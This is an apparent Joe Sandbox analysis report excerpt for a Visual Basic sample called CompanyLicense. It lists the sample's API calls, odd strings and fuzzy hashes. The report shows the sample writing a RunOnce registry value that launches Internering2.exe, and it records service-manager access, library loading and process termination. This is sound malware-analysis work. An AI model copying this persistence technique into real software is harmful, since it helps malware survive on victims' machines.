__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000118), ref: 0041017C
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 004101A3
__vbaObjSet.MSVBVM60(?,00000000), ref: 004101DF
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000140), ref: 0041022C
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 00410253
__vbaObjSet.MSVBVM60(00000000,00000000), ref: 0041028F
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000068), ref: 004102D6
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 004102FD
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410339
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000000F8), ref: 00410386
__vbaLateIdCallLd.MSVBVM60(00000008,?,00000000,00000000), ref: 004103AB
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 004103C6
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410402
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000000A0), ref: 0041044F
__vbaStrCopy.MSVBVM60(00000000,?,00403AC4,000000A0), ref: 0041046B
__vbaI4Var.MSVBVM60(00000009), ref: 00410491
__vbaI4Var.MSVBVM60(00000008,?,?,00000009), ref: 004104B0
__vbaVarMove.MSVBVM60 ref: 00410500
__vbaFreeStr.MSVBVM60 ref: 00410508
__vbaFreeObjList.MSVBVM60(00000008,?,?,?,00000000,?,?,?,?), ref: 00410544
__vbaFreeVarList.MSVBVM60(00000002,00000009,00000008), ref: 0041055C
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0041057E
__vbaObjSet.MSVBVM60(?,00000000), ref: 004105B7
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000000A0), ref: 00410604
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 0041062B
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410667
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,000000F8), ref: 004106B4
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 004106DB
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410717
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000078), ref: 0041075E
__vbaChkstk.MSVBVM60(?,?), ref: 0041080E
__vbaChkstk.MSVBVM60(?,00000009,7C207E50,00005AFD,?,?,?), ref: 00410841
__vbaChkstk.MSVBVM60(?,00000009,7C207E50,00005AFD,?,?,?), ref: 00410855
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,00000710), ref: 00410896
__vbaFreeObjList.MSVBVM60(00000003,?,?,?), ref: 004108D0
__vbaFreeVar.MSVBVM60 ref: 004108DE
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 004108FD
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410936
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000178), ref: 00410983
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 004109AA
__vbaObjSet.MSVBVM60(?,00000000), ref: 004109E6
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000118), ref: 00410A33
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,00000714,?,?,000044D0,?,00005633,?,?), ref: 00410AD0
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,000044D0,?,00005633,?,?), ref: 00410AFC
__vbaFreeVar.MSVBVM60 ref: 00410B0A
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 00410B29
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410B62
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000078), ref: 00410BA9
__vbaNew2.MSVBVM60(00402B8C,00413010), ref: 00410BD0
__vbaObjSet.MSVBVM60(?,00000000), ref: 00410C0C
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403AC4,00000060), ref: 00410C53
__vbaStrCopy.MSVBVM60(00000000,?,00403AC4,00000060), ref: 00410C91
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403918,00000718,?,?,00000000,?,00855264,0009EC81,?), ref: 00410CEF
__vbaFreeStr.MSVBVM60(?,?,00000000,?,00855264,0009EC81,?), ref: 00410D06
__vbaFreeObjList.MSVBVM60(00000002,?,?,?,?,00000000,?,00855264,0009EC81,?), ref: 00410D18
__vbaOnError.MSVBVM60(000000FF), ref: 00410D29
__vbaHresultCheckObj.MSVBVM60(00000000,?,004038E8,000002B4), ref: 00410D67
__vbaFreeVar.MSVBVM60(00410E74), ref: 00410E66
__vbaFreeVar.MSVBVM60(00410E74), ref: 00410E6E

Strings

Misbaptize8, xrefs: 00410C89
v6_, xrefs: 0040ECC1, 0040ECC7
SMAAKRAVLET, xrefs: 0040E95A
3V, xrefs: 00410A47
OVERGLAMORIZED, xrefs: 0040FFCD
o[>, xrefs: 004107E9
BEMISTED, xrefs: 0040EC90
CALICUT, xrefs: 00410463
Tilsjoflingerne9, xrefs: 0040F168
adkomsthavers, xrefs: 004104BC
udsanering, xrefs: 0040E818

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: __vba$CheckHresult$New2$Free$List$Chkstk$Move$CallLate$Copy$#529#670Error
String ID: 3V$BEMISTED$CALICUT$Misbaptize8$OVERGLAMORIZED$SMAAKRAVLET$Tilsjoflingerne9$adkomsthavers$o[>$udsanering$v6_
API String ID: 1286334570-3999088872
Opcode ID: fbbd0a40cc8fde54ade90055eb1f579cb741d647193e20425336da36bd4c770b
Instruction ID: dd565bdb4996f2a50941cfbe9d613efc03694ef50a104e56decc6033536a50dd
Opcode Fuzzy Hash: fbbd0a40cc8fde54ade90055eb1f579cb741d647193e20425336da36bd4c770b
Instruction Fuzzy Hash: 9333E371900228EFDB21DF50CC89BD9BBB8BB08305F1041EAE549BB2A1DB795B85DF54

Uniqueness

Uniqueness Score: -1.00%

Function 020A1C14, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExA.KERNELBASE(80000001,020A53C6,00000000,00000000,00000000,000F003F,00000000,68F644E8,?,020A13FB,?,?,00000000,000000FF,00000007,68F6454C), ref: 020A1C43

Part of subcall function 020A1C64: RegSetValueExA.KERNELBASE(68F644E8,020A53BB,00000000,00000001,?,?,?,00000062,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A1C74

Strings

R7, xrefs: 020A1C5F
jjj, xrefs: 020A1C37
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 020A53C6
\Internering2.exe, xrefs: 020A5406
Hamid, xrefs: 020A53BB

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: CreateValue
String ID: Hamid$Software\Microsoft\Windows\CurrentVersion\RunOnce$\Internering2.exe$jjj$R7
API String ID: 2259555733-3584740790
Opcode ID: 246c093a9238cfc98265307970185839d6899a5416886dcb48ac1306a6385e54
Instruction ID: 07c5350f442f957dfd17c04128d5cb0179eaf1771cfb39438faf7a0b0e6c96b8
Opcode Fuzzy Hash: 246c093a9238cfc98265307970185839d6899a5416886dcb48ac1306a6385e54
Instruction Fuzzy Hash: E611AA318083C42FD7018BA04E2A7D87F66BF43719FE9918AE5882F0F3D7206501E34A

Uniqueness

Uniqueness Score: -1.00%

Function 00401480, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#100.MSVBVM60(VB5!6&*), ref: 00401485

Strings

VB5!6&*, xrefs: 00401480

Memory Dump Source

Source File: 00000000.00000002.667445520.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667442253.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667457492.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667461596.0000000000415000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CompanyLicense.jbxd

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: ee55a2abea7be7e50601df3df5407d9d57722777f1712851239a1f9e70f32a2a
Instruction ID: d3e28c841db929235c7877c39c6b6bad081c35512a600fcfd5c01eba573c72dd
Opcode Fuzzy Hash: ee55a2abea7be7e50601df3df5407d9d57722777f1712851239a1f9e70f32a2a
Instruction Fuzzy Hash: BCE04EA568E3C21ED31357390D68829BF308E4322030A01EB80C2CF0E3C88C488EC3B7

Uniqueness

Uniqueness Score: -1.00%

Function 020A9248, Relevance: 1.8, APIs: 1, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32 ref: 020A958E

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1da4b11abcea70f6f38c6bd4cfe5ca3e0442990a793d84590e8cdcd952b51640
Instruction ID: ca6b0742df56396d42df22a48d24233af2990d11abec392d1a95f6c76734d54e
Opcode Fuzzy Hash: 1da4b11abcea70f6f38c6bd4cfe5ca3e0442990a793d84590e8cdcd952b51640
Instruction Fuzzy Hash: F6C1FB15D4D9CB07C21302B55469384FFB73E93934FC922EA9DA603A36D7622DB48BD2

Uniqueness

Uniqueness Score: -1.00%

Function 020A652A, Relevance: 1.7, APIs: 1, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d63b3d7f884463b7b86cac8e85bc1e0ea578b50880383fc9459a366bac0f3fdf
Instruction ID: b952f58eb696ebb692c823c1747a23162857eab56522328c65f1134544e8a28c
Opcode Fuzzy Hash: d63b3d7f884463b7b86cac8e85bc1e0ea578b50880383fc9459a366bac0f3fdf
Instruction Fuzzy Hash: 18814606C4D9C607C62302F55869290FFBB2D63824BC921DEADE60352BDB532DB49BD3

Uniqueness

Uniqueness Score: -1.00%

Function 020A0DEA, Relevance: 1.7, APIs: 1, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 020A6F5A: LoadLibraryA.KERNELBASE(?,321C9581,?,020A8349,020A32BD,00000000,00000000,00000000,00000000,?,00000000,00000000,020A0719,00000000), ref: 020A70A8

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,68F6454C,00000004,00000000,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A3CA3

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: fed15e8bacf1e0e0a90722e7d51ae5c5223626042997814a66a90886415eafea
Instruction ID: 212c6747a65ba9b1c79d8d63fec5cd149cc99b83f4b916c2d29fa38fd4fc27ef
Opcode Fuzzy Hash: fed15e8bacf1e0e0a90722e7d51ae5c5223626042997814a66a90886415eafea
Instruction Fuzzy Hash: 99717A20C087C207DB3212F85C667D8F7776F82734FD41299EDAA431A6D7A26CB48692

Uniqueness

Uniqueness Score: -1.00%

Function 020A0F4A, Relevance: 1.7, APIs: 1, Instructions: 187COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,68F6454C,00000004,00000000,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A3CA3

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 5a7ed105bffd6e262db7bc094bf646e3a5985201790a90167fae39b72e29eac7
Instruction ID: f88ee2ddc787480bf99af76f722a127cfa46a29ce55c269e7679fdf910d7fe3b
Opcode Fuzzy Hash: 5a7ed105bffd6e262db7bc094bf646e3a5985201790a90167fae39b72e29eac7
Instruction Fuzzy Hash: 43515911C08BC603CB3212F818657D8FB772F43634FD45299ADAA035A6D7A26DB496D3

Uniqueness

Uniqueness Score: -1.00%

Function 020A910C, Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 020A958E

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: fecfd0d1c2151d77cc98b26efee1cbc1d6d3be94cd1b3b575fdf8d7702d5cff3
Instruction ID: 84095f912e33c0c1ea88ec543e7b8cf7607ad801e8b5420552209f934ccd18b2
Opcode Fuzzy Hash: fecfd0d1c2151d77cc98b26efee1cbc1d6d3be94cd1b3b575fdf8d7702d5cff3
Instruction Fuzzy Hash: 5251D211D499CA4BC71302B55469384FBB33F52938FC922E9DDA603926D7626DB487C2

Uniqueness

Uniqueness Score: -1.00%

Function 020A1100, Relevance: 1.7, APIs: 1, Instructions: 156COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,68F6454C,00000004,00000000,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A3CA3

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 417e231660049f498d54b8ee9bc429322e4da0d114d183f1b9930741b34571cd
Instruction ID: 7684fba3d7f010611ab2c3aa173ea7b3e5cdc7e8301ef398aa7be2cff49ed5d7
Opcode Fuzzy Hash: 417e231660049f498d54b8ee9bc429322e4da0d114d183f1b9930741b34571cd
Instruction Fuzzy Hash: C7512814C08BC607CB2211F818A93D8FBB72F53624FD453D99DA6035B6D7A26CB49792

Uniqueness

Uniqueness Score: -1.00%

Function 020A8FE0, Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 020A958E

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1083d16a5d037d2fe77abea0e78a05fe40d1023403d8b862aa5655e6446e527b
Instruction ID: d8abac01dda19f1be9a2d308c335464d140b9bae24c969ddc2dc895f7d46cfea
Opcode Fuzzy Hash: 1083d16a5d037d2fe77abea0e78a05fe40d1023403d8b862aa5655e6446e527b
Instruction Fuzzy Hash: 3441C411E08ACA4BC72306B49469384FBB37F42628FC522D9DDA607976D7726DB4C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 020A1215, Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0a416bf9ec837c602427384d6a912211f6ff4da87dd75a317aaeb87adeecab
Instruction ID: 095a43bbca57bbf4faa678ca6ae313dbf0c80f96143379b595e883fbc5f4caa7
Opcode Fuzzy Hash: 6b0a416bf9ec837c602427384d6a912211f6ff4da87dd75a317aaeb87adeecab
Instruction Fuzzy Hash: B6415620C08BC647CB2216F858653D8FBB72F53634FC453C9DDAA035A6D7622CB59792

Uniqueness

Uniqueness Score: -1.00%

Function 020A12C3, Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,68F6454C,00000004,00000000,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A3CA3

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 523e81554d5a05ec062d0aecee98b432d9b932d16b3a6e0be8b66fc4692793a4
Instruction ID: 290dffb33b6e099076741be456bcd18abddd4c5b5de5edaaf34d18f4cec5ac43
Opcode Fuzzy Hash: 523e81554d5a05ec062d0aecee98b432d9b932d16b3a6e0be8b66fc4692793a4
Instruction Fuzzy Hash: 32418115C49AC603C62202F91869394FBB72F53A38FC522D99DFA035A6D7632DB487D3

Uniqueness

Uniqueness Score: -1.00%

Function 020A9436, Relevance: 1.6, APIs: 1, Instructions: 103COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 020A958E

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 1e22825d7a5db01c988214b0c8b7df49702fd5f8e987e5f8a87dbbe953031994
Instruction ID: 0625669338842c35f3185e844364a6d52de8067dcf6323464b1f35b03030894d
Opcode Fuzzy Hash: 1e22825d7a5db01c988214b0c8b7df49702fd5f8e987e5f8a87dbbe953031994
Instruction Fuzzy Hash: 1A316D15D499CB0BC22306F55469380FBB73E52938FC922DA9DA603936D7632DB8C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 020A62F8, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200,020A1DCD,?,?,?,?,020A542F,020A5406,?,020A3459,?,00000000,?,00400000), ref: 020A6409

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 8d7eca571039ba57eb9a651f958af724f28c0b75998a5e68d59cebb86131729d
Instruction ID: ae2ecb66432cde025ddc488167e720c7eb5f9e2fb3fa94aed614b51a0927189f
Opcode Fuzzy Hash: 8d7eca571039ba57eb9a651f958af724f28c0b75998a5e68d59cebb86131729d
Instruction Fuzzy Hash: 4F31D709C4D9C747C21302B51869290FF7A3D93828BC921DAADE64352BDB526D788BD3

Uniqueness

Uniqueness Score: -1.00%

Function 020A8EC6, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 020A958E

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 00cec7d45faa68c3394dbd45594f487b17c93b1af1f42a03ae381eb91b5e5bcb
Instruction ID: 17342491092617538ee15175d706c772551a7310bbed1a8806d8ca3d7867390c
Opcode Fuzzy Hash: 00cec7d45faa68c3394dbd45594f487b17c93b1af1f42a03ae381eb91b5e5bcb
Instruction Fuzzy Hash: DB310631B0070DCEEB5A5EB4C9B87AD73E2AF41368FD44329C9518B9A0D33584C4D744

Uniqueness

Uniqueness Score: -1.00%

Function 020A95B9, Relevance: 1.6, APIs: 1, Instructions: 91COMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32 ref: 020A958E

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 81ba387514b4b9f58f765cde2aa5d0714d00e8ecfb57320ee9bf84fcadf8b792
Instruction ID: 96eb4f5f8747c88025b24eff609d2fda6be987e3699c5c26ad9991ac3766f320
Opcode Fuzzy Hash: 81ba387514b4b9f58f765cde2aa5d0714d00e8ecfb57320ee9bf84fcadf8b792
Instruction Fuzzy Hash: 4F31FE05D499CB07C21306B55469380FFB72D53938BC922D99DB603936D7632DB887D2

Uniqueness

Uniqueness Score: -1.00%

Function 020A6F6E, Relevance: 1.6, APIs: 1, Instructions: 84libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,020A8349,020A32BD,00000000,00000000,00000000,00000000,?,00000000,00000000,020A0719,00000000), ref: 020A70A8

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9c6579e6e1d494bcebf3d3d45942a780aaee11cae329b57b1be1856aef88c9f0
Instruction ID: 4788fcbe123dfe70cccd3e4edd1a83775afec7b34335f580f435784670c5ca5f
Opcode Fuzzy Hash: 9c6579e6e1d494bcebf3d3d45942a780aaee11cae329b57b1be1856aef88c9f0
Instruction Fuzzy Hash: 0221CE05C499CB03C21212F91465684FB772D92934BC571DEADE603537D7622DB44BD3

Uniqueness

Uniqueness Score: -1.00%

Function 020A3BAC, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,68F6454C,00000004,00000000,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A3CA3

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 37d68a8435de523fb03b8205e42a7b83d43b8fb8e480610d9adcda41fd16ccb2
Instruction ID: 5ddaee3bc187b9c6d11e5a3781cdba4c454b37ee04ee130224d80e8dcf342578
Opcode Fuzzy Hash: 37d68a8435de523fb03b8205e42a7b83d43b8fb8e480610d9adcda41fd16ccb2
Instruction Fuzzy Hash: 1021A405C498CB03C22202B5285A280FF763D93D38B8962D9ADBB1357BDB923D7487D2

Uniqueness

Uniqueness Score: -1.00%

Function 020A6F5A, Relevance: 1.5, APIs: 1, Instructions: 38libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,321C9581,?,020A8349,020A32BD,00000000,00000000,00000000,00000000,?,00000000,00000000,020A0719,00000000), ref: 020A70A8

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 333316bb146871931e86f4c42769b21623430b4709fcc6f6577310cbbb953688
Instruction ID: da4ab30113320da7ce75c8f2c1de94ba3b7877dec6db966674e58058fdcea018
Opcode Fuzzy Hash: 333316bb146871931e86f4c42769b21623430b4709fcc6f6577310cbbb953688
Instruction Fuzzy Hash: B9F0BB60500345FECB657FF89470FBEA6969F90365FD0C516F48595174CA348580AE91

Uniqueness

Uniqueness Score: -1.00%

Function 020A1C64, Relevance: 1.5, APIs: 1, Instructions: 13registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(68F644E8,020A53BB,00000000,00000001,?,?,?,00000062,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A1C74

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 469eee8ebd3e3eeff31f16080f35e31665fccafa1dfd15cb80a68d903528f736
Instruction ID: d18663404f8cb7d0de5a0d80504995ac762f7ad6cd04d2ea0d96e59707c0013b
Opcode Fuzzy Hash: 469eee8ebd3e3eeff31f16080f35e31665fccafa1dfd15cb80a68d903528f736
Instruction Fuzzy Hash: 64C08C7011032ABEFA206A104C2DFF76A29DB20790FA00011FD4780080C2A008A0C120

Uniqueness

Uniqueness Score: -1.00%

Function 020A414A, Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000,020A4127,020A4170,020A0A81,?,6DDC21B5,6DDB9555,?,321C9581), ref: 020A4162

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: cda1dba48740bd7b96318cf17742556920cb9191cb371ca8628f9592a64ccb55
Instruction ID: fb4e8a10fca13062ed22e8844e0c5964df734744d4ab3234c114c16073b3e70e
Opcode Fuzzy Hash: cda1dba48740bd7b96318cf17742556920cb9191cb371ca8628f9592a64ccb55
Instruction Fuzzy Hash: 90C09B717D4304B6FE3486209D5BFC562155F50F00F508509BF493C1C557F15551C519

Uniqueness

Uniqueness Score: -1.00%

Function 020A63FA, Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00000200,020A1DCD,?,?,?,?,020A542F,020A5406,?,020A3459,?,00000000,?,00400000), ref: 020A6409

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 4fae3519ba45faf50e482691a33078ce43044b0682cbaf733adcd1adfce0ec30
Instruction ID: ebdbc468bdaf990d5e42f97783f01cb94850ad1fa1d2e16b1e7bed6b8efccc79
Opcode Fuzzy Hash: 4fae3519ba45faf50e482691a33078ce43044b0682cbaf733adcd1adfce0ec30
Instruction Fuzzy Hash: 9DC04C75204300EBE6909A54CC88F9AB668BB54701F849405BA8586185C63098449B31

Uniqueness

Uniqueness Score: -1.00%

Function 020A3BA5, Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,68F6454C,00000004,00000000,?,?,?,?,?,020A5210,020A555C,020A4170), ref: 020A3CA3

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 74751e9ee2263e4e98cc4fbd937d6dba48a7e67fd6933a660b04b1a42a213244
Instruction ID: 5207ce8731fd3eb2881ae61304ade273c69a32ca9e51b72e2e433430400e0280
Opcode Fuzzy Hash: 74751e9ee2263e4e98cc4fbd937d6dba48a7e67fd6933a660b04b1a42a213244
Instruction Fuzzy Hash: 52B0123420038711CD60176C2C2EBD822500F427F8F6403402C3A740D1DB9080864300

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 020A2259, Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

xsR@, xrefs: 020A2259

Memory Dump Source

Source File: 00000000.00000002.667892780.00000000020A0000.00000040.00000001.sdmp, Offset: 020A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20a0000_CompanyLicense.jbxd

Similarity

API ID: LibraryLoad
String ID: xsR@
API String ID: 1029625771-657063712
